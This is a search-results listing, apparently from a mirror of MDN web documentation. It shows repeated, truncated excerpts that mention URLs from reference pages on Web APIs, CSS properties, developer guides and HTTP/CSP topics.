...turn an array of debugger.script instances for all debuggee scripts matchingquery. each instance appears only once in the array.query is an object whose properties restrict which scripts are returned; a script must meet all the criteria given byquery to be returned. ifquery is omitted, we return the debugger.script instances for all debuggee scripts. ...
...And 2 more matches
Body.bodyUsed - Web APIs
the body mixin contains a boolean that indicates whether the body has been read yet. syntax var mybodyused = response.bodyused; value a boolean. example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg. when the fetch is successful, we read a blob out of the response using blob(), put it into an object
url using
url.createobject
url, and then set that
url as the source of an <img> element to display the image. notice that we log response.bodyused to the console once before the response.blob() call and once after. this returns false before and true afterwards, as at that point the body has been read. html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> ...
... living standard ...
... living standard ...
...And 2 more matches
Clients - Web APIs
the clients interface provides access to client objects. access it via self.clients within a service worker. methods clients.get() returns a promise for a client matching a given id. clients.matchall() returns a promise for an array of client objects. an options argument allows you to control the types of clients returned. clients.openwindow() opens a new browser window for a given
url and returns a promise for the new windowclient. clients.claim() allows an active service worker to set itself as the controller for all clients within its scope. examples the following example shows an existing chat window or creates a new one when the user clicks a notification. addeventlistener('notificationclick', event => { event.waituntil(async function() { const allclients = await ...
...example shows an existing chat window or creates a new one when the user clicks a notification. ...
...ows an existing chat window or creates a new one when the user clicks a notification. ...
...And 2 more matches
ContentIndex.add() - Web APIs
scription).then(...); parameters contentdescription the item registered is an object containing the following data: id: a unique string identifier. title: a string title for the item. used in user-visible lists of content. title: a string title of the item. used in user-visible lists of content. description: a string description of the item. used in user-visible lists of content.
url: a string containing the
url of the corresponding html document. needs to be under the scope of the current service worker. category: optional a string defining the category of content. can be: '' an empty string, this is the default. homepage article video audio icons: optional an array of image resources, defined as an object with the following data: s...
...ring containing the
url of the corresponding html document. needs to be under the scope of the current service worker. category: optional a string defining the category of content. can be: '' an empty string, this is the default. homepage article video audio icons: optional an array of image resources, defined as an object with the following data: src: a
url string of the source image. sizes: optional a string representation of the image size. type: optional the mime type of the image. return value returns a promise that resolves with undefined exceptions typeerror if the service worker's registration is not present or the service worker does not contain a fetchevent. ...
...ta: src: a
url string of the source image. sizes: optional a string representation of the image size. type: optional the mime type of the image. return value returns a promise that resolves with undefined exceptions typeerror if the service worker's registration is not present or the service worker does not contain a fetchevent. if the id, title, description or
url are missing, not of type string, or an empty string. if icons images are not of image type. examples here we're declaring an item in the correct format and creating an asynchronous function which uses the add method to register it with the content index. ...
...And 2 more matches
Document.location - Web APIs
if the current document is not in a browsing context, the returned value is null. ...
... if the current document is not in a browsing context, the returned value is null. ...
... if the current document is not in a browsing context, the returned value is null. ...
...And 2 more matches
ExtendableEvent - Web APIs
aches. it maps a shorthand identifier for a cache to a specific, versioned cache name. note: in chrome, logging statements are visible via the "inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals. ...
...ker-internals. var cache_version = 1; var current_caches = { prefetch: 'prefetch-cache-v' + cache_version }; self.addeventlistener('install', function(event) { var
urlstoprefetch = [ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event. ...
...tener('install', function(event) { var
urlstoprefetch = [ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event. ...
...And 2 more matches
FileSystemEntrySync - Web APIs
g: this api was never accepted and never became standardized. various browsers implement pieces of the file and directory entries api (otherwise known as the file system api) but you should try to avoid using it. basic concepts the filesystementrysync interface includes methods that you would expect for manipulating files and directories, but it also include a really handy method for getting a
url of the entry: to
url(). it also introduces a new
url scheme: filesystem:. you can use the filesystem: scheme on google chrome to see all the files and folders that are stored in the origin of your app. just use filesystem: scheme for the root directory of the origin of the app. for example, if your app is in http://ww.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab. ...
...y list of all the files and folders stored the origin of your app. method overview metadata getmetadata () raises (fileexception); filesystementrysync moveto (in directoryentrysync parent, optional domstring newname) raises (fileexception); filesystementrysync copyto(in directoryentrysync parent, optional domstring newname) raises (fileexception); domstring to
url(); void remove() raises (fileexception); directoryentrysync getparent(); attributes attribute type description filesystem readonly filesystemsync the file system where the entry resides. fullpath readonly domstring the full absolute path from the root to the entry. an absolute path is a relative path from the roo...
... no_modification_allowed_err one of the following is not writable: the source entry, its parent directory, and the target directory. quota_exceeded_err the operation would cause the application to exceed its storage quota. you can ask for a larger persistent storage, which your user must explicitly grant. for more information, see the article on basic concepts. to
url() returns a
url that can be used to identify this entry. it exposes a new
url scheme—filesystem:—that you can use to fill src or href attributes. for example, if you wanted to display an image and have its fileentry, calling to
url() gives you the image file's file system
url. you get something like: filesystem:http://example.com/temporary/lolcat.png. the file system
url does not expire. bec...
...And 2 more matches
HTMLHyperlinkElementUtils.origin - Web APIs
e.g "blob:https://mozilla.org" will have "https://mozilla.org". note: this feature is available in web workers. ...
...e.g "blob:https://mozilla.org" will have "https://mozilla.org". note: this feature is available in web workers. ...
...e.g "blob:https://mozilla.org" will have "https://mozilla.org". note: this feature is available in web workers. ...
...And 2 more matches
HTMLHyperlinkElementUtils - Web APIs
the htmlhyperlinkelementutils mixin defines utility methods and properties to work with htmlanchorelement and htmlareaelement. these utilities allow to deal with common features like
urls. there are no objects of this type, but several objects such as htmlanchorelement and htmlareaelement implement it. properties note: this interface doesn't inherit any property. htmlhyperlinkelementutils.href this a stringifier property that returns a usvstring containing the whole
url, and allows the href to be updated. ...
...his type, but several objects such as htmlanchorelement and htmlareaelement implement it. properties note: this interface doesn't inherit any property. htmlhyperlinkelementutils.href this a stringifier property that returns a usvstring containing the whole
url, and allows the href to be updated. htmlhyperlinkelementutils.protocol this is a usvstring containing the protocol scheme of the
url, including the final ':'. htmlhyperlinkelementutils.host this is a usvstring containing the host, that is the hostname, and then, if the port of the
url is not empty (which can happen because it was not specified or because it was specified to be the default port of the
url's scheme), a ':', and the port of the
url. htmlhyperlinkelementutils.hostname this is a usvstring containing the domain ...
...ding the final ':'. htmlhyperlinkelementutils.host this is a usvstring containing the host, that is the hostname, and then, if the port of the
url is not empty (which can happen because it was not specified or because it was specified to be the default port of the
url's scheme), a ':', and the port of the
url. htmlhyperlinkelementutils.hostname this is a usvstring containing the domain of the
url. htmlhyperlinkelementutils.port this is a usvstring containing the port number of the
url. htmlhyperlinkelementutils.pathname this is a usvstring containing an initial '/' followed by the path of the
url. htmlhyperlinkelementutils.search this is a usvstring containing a '?' followed by the parameters of the
url. htmlhyperlinkelementutils.hash this is a usvstring containing a '#' followed ...
...And 2 more matches
HTMLImageElement.crossOrigin - Web APIs
ected. example in this example, a new <img> element is created and added to the document, loading the image with the anonymous state; the image will be loaded using cors and credentials will be used for all cross-origin loads. javascript the code below demonstrates setting the crossorigin property on an <img> element to configure cors access for the fetch of a newly-created image. ...
...ill be loaded using cors and credentials will be used for all cross-origin loads. javascript the code below demonstrates setting the crossorigin property on an <img> element to configure cors access for the fetch of a newly-created image. ...
...it's a very interesting paragraph. ...
...And 2 more matches
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using commas (,) each specifying image resources to use under given circumstances. each image candidate string contains an image
url and an optional width or pixel density descriptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property. the srcset property, along with the sizes property, are a crucial component in designing responsive web sites, as they can be used together to make pages that use appropriate images for the rendering situation. syntax htmlimageelement.srcset = imagecandidatestrings; let srcset = htmlimageelement.srcset; value a usvstring containing a comma-separated list of one or more imag...
...mages for the rendering situation. syntax htmlimageelement.srcset = imagecandidatestrings; let srcset = htmlimageelement.srcset; value a usvstring containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the <img> element represented by the htmlimageelement. ...
...e resource to present inside the <img> element represented by the htmlimageelement. each image candidate string must begin with a valid
url referencing a non-interactive graphic resource. this is followed by a comma (,) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used. space characters, other than the whitespace separating the
url and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma. if the condition descriptor is not provided (in other words, the image candidate provides only a
url), the candidate is used as the fallback if none of the other candidates match. otherwise, the condition descriptor may take one of two forms: to ...
...And 2 more matches
HTMLScriptElement - Web APIs
ll="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlscriptelement.type is a domstring representing the mime type of the script. it reflects the type attribute. htmlscriptelement.src is a domstring representing the
url of an external script. it reflects the src attribute. htmlscriptelement.event is a domstring; an obsolete way of registering event handlers on elements in an html document. htmlscriptelement.charset is a domstring representing the character encoding of an external script. it reflects the charset attribute. htmlscriptelement.async htmlscriptelement.defer the async and defer attribut...
...imports new scripts within a document creating a <script> node immediately before the <script> that hosts the following code (through document.currentscript). these scripts will be asynchronously executed. for more details, see the defer and async properties. ...
...aderror(oerror) { throw new urierror("the script " + oerror.target.src + " didn't load correctly."); } function prefixscript(
url, onloadfunction) { var newscript = document.createelement("script"); newscript.onerror = loaderror; if (onloadfunction) { newscript.onload = onloadfunction; } document.currentscript.parentnode.insertbefore(newscript, document.currentscript); newscript.src =
url; } this next function, instead of prepending the new scripts immediately before the document.currentscript element, appends them as children of the <head> tag. ...
...And 2 more matches
HTMLTextAreaElement - Web APIs
etc. ]</p> <p><textarea name="myt...
...etc. ]</p> <p><textarea name="mytxtarea" rows="10" cols="50"...
...etc. ]</p> <p><textarea name="mytxtarea" rows="10" cols="50">lorem ipsum dolor sit am...
...And 2 more matches
Drag Operations - Web APIs
ng a drag and drop operation. the drag operations described in this document use the datatransfer interface. this document does not use the datatransferitem interface nor the datatransferitemlist interface. the draggable attribute in a web page, there are certain cases where a default drag behavior is used. these include text selections, images, and links. when an image or link is dragged, the
url of the image or link is set as the drag data, and a drag begins. for other elements, they must be part of a selection for a default drag to occur. to see this in effect, select an area of a webpage, and then click and hold the mouse and drag the selection. an os-specific rendering of the selection will appear and follow the mouse pointer as the drag occurs. however, this behavior is only the defa...
...operty called datatransfer which holds the drag data (datatransfer is a datatransfer object). when a drag occurs, data must be associated with the drag which identifies what is being dragged. for example, when dragging the selected text within a textbox, the data associated with the drag data item is the text itself. similarly, when dragging a link on a web page, the drag data item is the link's
url. the drag data contains two pieces of information, the type (or format) of the data, and the data's value. the format is a type string (such as text/plain for text data), and the value is a string of text. when the drag begins, you add data by providing a type and the data. during the drag, in an event listener for the dragenter and dragover events, you use the data types of the data being dragg...
...type. other applications won't support this type, but you can use a custom type for drags between areas of the same site or application. by providing data in other types as well, we can also support drags to other applications in less specific forms. the application/x.bookmark type can provide data with more details for use within the application whereas the other types can include just a single
url or text version. note that both the text/uri-list and text/plain contain the same data in this example. this will often be true, but doesn't need to be the case. if you attempt to add data twice with the same format, the new data will replace the old data, but in the same position within the list of types as the old data. you can clear the data using the cleardata() method, which takes one arg...
...And 2 more matches
InstallEvent - Web APIs
ode maps a shorthand identifier for a cache to a specific, versioned cache name. note: logging statements are visible in google chrome via the "inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals. ...
...orker-internals. var cache_version = 1; var current_caches = { prefetch: 'prefetch-cache-v' + cache_version }; self.addeventlistener('install', function(event) { var
urlstoprefetch = [ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event. ...
...istener('install', function(event) { var
urlstoprefetch = [ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event. ...
...And 2 more matches
LocalFileSystemSync - Web APIs
2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011. this specification is more or less abandonned, failing to get significant traction. basic concepts you can request access to a sandboxed file system by requesting localfilesystemsync object from within a web worker. the global methods in the window object requestfilesystemsync() and resolvelocalfilesystemsync
url() methods are exposed to the worker's global scope. calling window.requestfilesystemsync() for creates new storage for your web app. for more concepts, see the counterpart article for the asynchronous api. example //taking care of the browser-specific prefix window.requestfilesystemsync = window.requestfilesystemsync || window.webkitrequestfilesystemsync; // the first parameter defines the t...
...e last one is the error callback // for denial of access and other errors. var fs = requestfilesystemsync(temporary, 1024*1024 /*1mb*/); because you are using a synchronous api, you don't need success and error callbacks. method overview filesystemsync requestfilesystemsync (in unsigned short type, in long long size) raises fileexception; entrysync resolvelocalfilesystemsync
url (in domstring
url) raises fileexception; constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion. persistent 1 storage that stays in the browser unless the user or the app expunges it. methods requestfilesystemsync() requests a file system where data should...
...ystemsync an object that represents the file system. exceptions this method can raise an fileexception with the following code: exception description security_error the application does not have permission to access the file system interface. for example, you cannot run from file://. for more details, see the article on basic concepts. resolvelocalfilesystemsync
url() allows the user to look up the entry for a file or directory referred to by a local
url. void resolvelocalfilesystem
url( in domstring
url ); parameter
url the
url of a local file in the file system. returns entrysync an object that represents entries in the file system. exceptions this method can raise a fileexception with the following codes: exception descriptio...
...And 2 more matches
Location: origin - Web APIs
e.g "blob:https://mozilla.org" will have "https://mozilla.org". note: this feature is available in web workers. ...
...e.g "blob:https://mozilla.org" will have "https://mozilla.org". note: this feature is available in web workers. ...
...e.g "blob:https://mozilla.org" will have "https://mozilla.org". note: this feature is available in web workers. ...
...And 2 more matches
MediaSource - Web APIs
current user agent — this is, if it can successfully create sourcebuffer objects for that mime type. examples the following simple example loads a video with xmlhttprequest, playing it as soon as it can. ...
...= document.queryselector('video'); var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateen...
... recommendation initial definition. ...
...And 2 more matches
Using the MediaStream Recording API - Web APIs
first, we display a prompt asking the user to name their clip. next, we create an html structure like the following, inserting it into o...
... first, we display a prompt asking the user to name their clip. next, we create an html structure like the following, inserting it into our clip conta...
... first, we display a prompt asking the user to name their clip. next, we create an html structure like the following, inserting it into our clip container, which is a...
...And 2 more matches
MediaStream Recording API - Web APIs
options); mediarecorder.ondataavailable = handledataavailable; mediarecorder.start(); function handledataavailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedchunks.push(event.data); console.log(recordedchunks); download(); } else { // ... ...
...ns); mediarecorder.ondataavailable = handledataavailable; mediarecorder.start(); function handledataavailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedchunks.push(event.data); console.log(recordedchunks); download(); } else { // ... ...
...der.ondataavailable = handledataavailable; mediarecorder.start(); function handledataavailable(event) { console.log("data-available"); if (event.data.size > 0) { recordedchunks.push(event.data); console.log(recordedchunks); download(); } else { // ... ...
...And 2 more matches
Navigator.sendBeacon() - Web APIs
return values the sendbeacon() method returns true if the user agent successfully queued the data for transfer. otherwise, it returns false. ...
... return values the sendbeacon() method returns true if the user agent successfully queued the data for transfer. otherwise, it returns false. ...
... return values the sendbeacon() method returns true if the user agent successfully queued the data for transfer. otherwise, it returns false. ...
...And 2 more matches
PaymentRequestEvent.openWindow() - Web APIs
it must be on the same origin as the calling page. return value a promise that resolves with a reference to a windowclient. ...
...it must be on the same origin as the calling page. return value a promise that resolves with a reference to a windowclient. ...
...it must be on the same origin as the calling page. return value a promise that resolves with a reference to a windowclient. ...
...And 2 more matches
Request - Web APIs
nly contains the mode of the request (e.g., cors, no-cors, same-origin, navigate.) request.redirect read only contains the mode for how redirects are handled. it may be one of follow, error, or manual. request.referrer read only contains the referrer of the request (e.g., client). request.referrerpolicy read only contains the referrer policy of the request (e.g., no-referrer). request.
url read only contains the
url of the request. request implements body, so it also inherits the following properties: body read only a simple getter used to expose a readablestream of the body contents. bodyused read only stores a boolean that declares whether the body has been used in a response yet. methods request.clone() creates a copy of the current request object. request im...
...uest body. note: the body functions can be run only once; subsequent calls will resolve with empty strings/arraybuffers. ...
...note: the body functions can be run only once; subsequent calls will resolve with empty strings/arraybuffers. ...
...And 2 more matches
Response.redirected - Web APIs
utright rejecting redirects if they're unexpected, as described under disallowing redirects below. ...
...t rejecting redirects if they're unexpected, as described under disallowing redirects below. ...
...rects if they're unexpected, as described under disallowing redirects below. ...
...And 2 more matches
SharedWorker() - Web APIs
it must obey the same-origin policy. ...
...it must obey the same-origin policy. ...
...it must obey the same-origin policy. name optional a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. ...
...And 2 more matches
SourceBuffer - Web APIs
fer. returns a promise which is fulfilled once all matching segments have been removed. examples the following simple example loads a video chunk by chunk as fast as possible, playing it as soon as it can. ...
...= document.queryselector('video'); var asset
url = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src =
url.createobject
url(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asset
url, function (buf) { sourcebuffer.addeventlistener('updateen...
... recommendation initial definition. ...
...And 2 more matches
Functions and classes available to Web Workers - Web APIs
eworkerregistration you can register a service worker from inside a standard worker, and use associated functionality. 40 (40) no support (yes) no support textencoder and textdecoder create and return a new textencoder, or respectively textdecoder, allowing to encode or decode strings into specific encodings. ...
...service worker from inside a standard worker, and use associated functionality. 40 (40) no support (yes) no support textencoder and textdecoder create and return a new textencoder, or respectively textdecoder, allowing to encode or decode strings into specific encodings. ...
...rom inside a standard worker, and use associated functionality. 40 (40) no support (yes) no support textencoder and textdecoder create and return a new textencoder, or respectively textdecoder, allowing to encode or decode strings into specific encodings. ...
...And 2 more matches
Worker() - Web APIs
it must obey the same-origin policy. options optional an object containing option properties that can be set when creating the object instance. ...
...it must obey the same-origin policy. options optional an object containing option properties that can be set when creating the object instance. ...
...it must obey the same-origin policy. options optional an object containing option properties that can be set when creating the object instance. available properties are as follows: type: a domstring specifying the type of worker to create. the value can be classic or module. ...
...And 2 more matches
-moz-image-rect - CSS: Cascading Style Sheets
top the top edge, specified as an <integer> or <percentage>, of the sub-image within the specified image. right the right edge, specified as an <integer> or <percentage>, of the sub-image within the specified image. bottom the bottom edge, specified as an <integer> or <percentage>, of the sub-image within the specified image. ...
...for the four boxes that comprise the complete image. the container looks like this: #container { width:267px; height:272px; top:100px; left:100px; position:absolute; font-size:16px; text-shadow:white 0px 0px 6px; text-align:center; } then the four boxes defining the segments of the image are defined. let's look at them one at a time. ...
...fined. let's look at them one at a time. #box1 { background-image: -moz-image-rect(
url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 50%, 50%, 0%); width:133px; height:136px; position:absolute; } this is the top-left corner of the image. it defines a rectangle containing the top-left quarter of the image in the file firefox.jpg. #box2 { background-image: -moz-image-rect(
url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 100%, 50%, 50%); width:133px; height:136px; position:absolute; } this defines the top-right corner of the image. ...
...And 2 more matches
CSS values and units - CSS: Cascading Style Sheets
e value can include a single integer or keyword, to a series of keywords and values with or without units. there are a common set of data types -- values and units -- that css properties accept. below is an overview of most of these data types. refer to the page for each value type for more detailed information. textual data types <custom-ident> pre-defined keywords as an <ident> <string> <
url> text data types are either <string>, a quoted series of characters, or an <ident>, a "css identifier" which is an unquoted string. a <string> must be quoted with either single or double quotes. css identifiers, listed in the specifications as <ident> or <custom-ident>, must be unquoted. in the css specifications, values that can be defined by the web developer, like keyframe animations, font-...
...pecified as the property’s initial value. the inherit keyword represents the computed value of the property on the element’s parent, provided it is inherited. the unset keyword acts as either inherit or initial, depending on whether the property is inherited or not. a fourth value of revert was added in the cascade level 4 specification, but it does not currently have good browser support. ...
...as the property’s initial value. the inherit keyword represents the computed value of the property on the element’s parent, provided it is inherited. the unset keyword acts as either inherit or initial, depending on whether the property is inherited or not. a fourth value of revert was added in the cascade level 4 specification, but it does not currently have good browser support. ...
...And 2 more matches
backdrop-filter - CSS: Cascading Style Sheets
the backdrop-filter css property lets you apply graphical effects such as blurring or color shifting to the area behind an element. because it applies to everything behind the element, to see the effect you must make the element or its background at least partially transparent. ...
... the backdrop-filter css property lets you apply graphical effects such as blurring or color shifting to the area behind an element. because it applies to everything behind the element, to see the effect you must make the element or its background at least partially transparent. ...
... <filter-function-list> a space-separated list of <filter-function>s or an svg filter that will be applied to the backdrop. formal definition initial valuenoneapplies toall elements; in sv...
...And 2 more matches
background - CSS: Cascading Style Sheets
e-examples and send us a pull request. constituent properties this property is a shorthand for the following css properties: background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background:
url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80%
url("../img/image.png"); the background property is specified as one or more background layers, separated by commas. the syntax of each layer is as follows: each layer may include zero or one occurrences of any of the follo...
...ntagesas each of the properties of the shorthand:background-position: refer to the size of the background positioning area minus size of background image; size refers to the width for horizontal offsets and to the height for vertical offsetsbackground-size: relative to the background positioning areacomputed valueas each of the properties of the shorthand:background-image: as specified, but with <
url> values made absolutebackground-position: a list, each item consisting of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentagebackground-size: as specified, but with relative lengths converted into absolute lengthsbackground-repeat: a list, each item consisting of two keywords, one per dimensionbac...
...)<image-set()> = image-set( <image-set-option># )<element()> = element( <id-selector> )<paint()> = paint( <ident>, <declaration-value>? )<cross-fade()> = cross-fade( <cf-mixing-image> , <cf-final-image>...
...And 2 more matches
mask-border-source - CSS: Cascading Style Sheets
the mask-border-source css property sets the source image used to create an element's mask border. the mask-border-slice property is used to divide the source image into regions, which are then dynamically applied to the final mask border. syntax /* keyword value */ mask-border-source: none; /* <image> values */ mask-border-source:
url(image.jpg); mask-border-source: linear-gradient(to top, red, yellow); /* global values */ mask-border-source: inherit; mask-border-source: initial; mask-border-source: unset; values none no mask border is used. <image> image reference to use for the mask border. formal definition initial valuenoneapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas speci...
...obal values */ mask-border-source: inherit; mask-border-source: initial; mask-border-source: unset; values none no mask border is used. <image> image reference to use for the mask border. ...
...set; values none no mask border is used. <image> image reference to use for the mask border. ...
...And 2 more matches
shape-outside - CSS: Cascading Style Sheets
the float area determines the shape...
...the float area determines the shape around which inline content ...
... <shape-box> is also supplied, it defines the reference box for the <basic-shape> function. otherwise, the reference box defaults to margin-box. <image> the float area is extracted and computed based on the alpha channel of the specified <image> as defined by shape-image-threshold. note: user agents must use the potentially cors-enabled fetch method defined by the html5 specification for all
urls in a shape-outside value. when fetching, user agents must use "anonymous" mode, set the referrer source to the stylesheet's
url, and set the origin to the
url of the containing document. if this results in network errors such that there is no valid fallback image, the effect is as if the value none had been specified. interpolation when animating between one <basic-shape> and a second, the ...
...And 2 more matches
Getting Started - Developer guides
true); httprequest.send(); the first parameter of the call to open() is the http request method – get, post, head, or another method supported by your server. keep the method all-capitals as per the http standard, otherwise some browsers (like firefox) might not process the request. for more information on the possible http request methods, check the w3c specs. the second parameter is the
url you're sending the request to. as a security feature, you cannot call
urls on 3rd-party domains by default. be sure to use the exact domain name on all of your pages or you will get a "permission denied" error when you call open(). a common pitfall is accessing your site by domain.tld, but attempting to call pages with www.domain.tld. if you really need to send a request to another domain, see ht...
..., like a query string: "name=value&anothername="+encodeuricomponent(myvar)+"&so=on" or other formats, like multipart/form-data, json, xml, and so on. note that if you want to post data, you may have to set the mime type of the request. for example, use the following before calling send() for form data sent as a query string: httprequest.setrequestheader('content-type', 'application/x-www-form-
urlencoded'); step 2 – handling the server response when you sent the request, you provided the name of a javascript function to handle the response: httprequest.onreadystatechange = nameofthefunction; what should this function do? first, the function needs to check the request's state. if the state has the value of xmlhttprequest.done (corresponding to 4), that means that the full server res...
...we'll alert(). first we'll add a text box to our html so the user can enter their name: <label>your name: <input type="text" id="ajaxtextbox" /> </label> <span id="ajaxbutton" style="cursor: pointer; text-decoration: underline"> make a request </span> we'll also add a line to our event handler to get the user's data from the text box and send it to the makerequest() function along with the
url of our server-side script: document.getelementbyid("ajaxbutton").onclick = function() { var username = document.getelementbyid("ajaxtextbox").value; makerequest('test.php',username); }; we need to modify makerequest() to accept the user data and pass it along to the server. we'll change the request method from get to post, and include our data as a parameter in the call to http...
...And 2 more matches
Constraint validation - Developer guides
creates a constraint that checks whether the value is a valid e-mail address. by setting values on validation-related attributes, allowing basic constraints to be described in a simple way, without the need for javascript. semantic input types the intrinsic constraints for the type attribute are: input type constraint description associated violation <input type="
url"> the value must be an absolute
url, as defined in the
url living standard. typemismatch constraint violation <input type="email"> the value must be a syntactically valid email address, which generally has the format username@hostname.tld. typemismatch constraint violation for both of these input types, if the multiple attribute is set, several values can be set, as a ...
...or have a sanitization algorithm transforming incorrect values to a correct default. validation-related attributes in addition to the type attribute described above, the following attributes are used to describe basic constraints: attribute input types supporting the attribute possible values constraint description associated violation pattern text, search,
url, tel, email, password a javascript regular expression (compiled with the ecmascript 5 global, ignorecase, and multiline flags disabled) the value must match the pattern. patternmismatch constraint violation min range, number a valid number the value must be greater than or equal to the value. rangeunderflow constraint violation date, month, week a valid d...
... valuemissing constraint violation step date an integer number of days unless the step is set to the any li...
...And 2 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
if the foreign content comes from an image obtained from either as htmlcanvaselement or imagebitmap, and the image source doesn't meet the same origin rules, attempts to read the canvas's contents are blocked. calling any of the following on a tainted canvas will result in an error: calling getimagedata() on the canvas's context calling toblob() on the <canvas> element itself calling todata
url() on the canvas attempting any of these when the canvas is tainted will cause a securityerror to be thrown. this protects users from having private data exposed by using images to pull information from remote web sites without permission. storing an image from a foreign origin in this example, we wish to permit images from a foreign origin to be retrieved and saved to local storage. implement...
...s running on. the key is to use the crossorigin attribute by setting crossorigin on the htmlimageelement into which the image will be loaded. this tells the browser to request cross-origin access when trying to download the image data. starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let image
url = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg = new image; downloadedimg.crossorigin = "anonymous"; downloadedimg.addeventlistener("load", imagereceived, false); downloadedimg.src = image
url; } we're using a hard-coded
url here (image
url), but that could easily come from anywhere. to begin downloading the image, we...
... by using the image() constructor. the image is then configured to allow cross-origin downloading by setting its crossorigin attribute to "anonymous" (that is, allow non-authenticated downloading of the image cross-origin). an event listener is added for the load event being fired on the image element, which means the image data has been received. finally, the image's src attribute is set to the
url of the image to download; this triggers the download to begin. receiving and saving the image the code that handles the newly-downloaded image is found in the imagereceived() method: function imagereceived() { let canvas = document.createelement("canvas"); let context = canvas.getcontext("2d"); canvas.width = downloadedimg.width; canvas.height = downloadedimg.height; context.drawim...
...And 2 more matches
Identifying resources on the Web - HTTP
the target of an http request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else. each resource is identified by a uniform resource identifier (uri) used throughout http for identifying resources. the identity and the location of resources on the web are mostly given by a single
url (uniform resource locator, a kind of uri). there are sometimes reasons identity and location are not given by the same uri: http uses a specific http header, alt-svc when the resource requested wants the client to access it at another location.
urls and urns
urls the most common form of uri is the uniform resource locator (
url), which is known as the web address. https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.
...nd location are not given by the same uri: http uses a specific http header, alt-svc when the resource requested wants the client to access it at another location.
urls and urns
urls the most common form of uri is the uniform resource locator (
url), which is known as the web address. https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.mozilla.org/search?q=
url any of those
urls can be typed into your browser's address bar to tell it to load the associated page (resource). a
url is composed of different parts, some mandatory and others are optional. a more complex example might look like this: http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#somewhereinthedocument urns a uniform resource name (urn) is a uri that identifies a re...
...ow to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols. common schemes are: scheme description data data uris file host-specific file names ftp file transfer protocol http/https hyper text transfer protocol (secure) javascript
url-embedded javascript code mailto electronic mail address ssh secure shell tel telephone urn uniform resource names view-source source code of the resource ws/wss (encrypted) websocket connections authority www.example.com is the domain name or authority that governs the namespace. it indicates which web server is b...
...And 2 more matches
CSP: base-uri - HTTP
the http content-security-policy base-uri directive restricts the
urls which can be used in a document's <base> element. if this value is absent, then any uri is allowed. if this directive is absent, the user agent will use the value in the <base> element. csp version 2 directive type document directive default-src fallback no. not setting this allows any
url. syntax one or more sources can be allowed for the base-uri policy: content-security-policy: base-uri <source>; content-security-policy: base-uri <source> <source>; sources while this directive uses the same arguments as other csp directives, some of them don’t make sense for `<base>`, such as the keywords 'unsafe-inline' and 'strict-dynamic' <source> can be one of the following: <...
... mail.example.com:443: matches all...
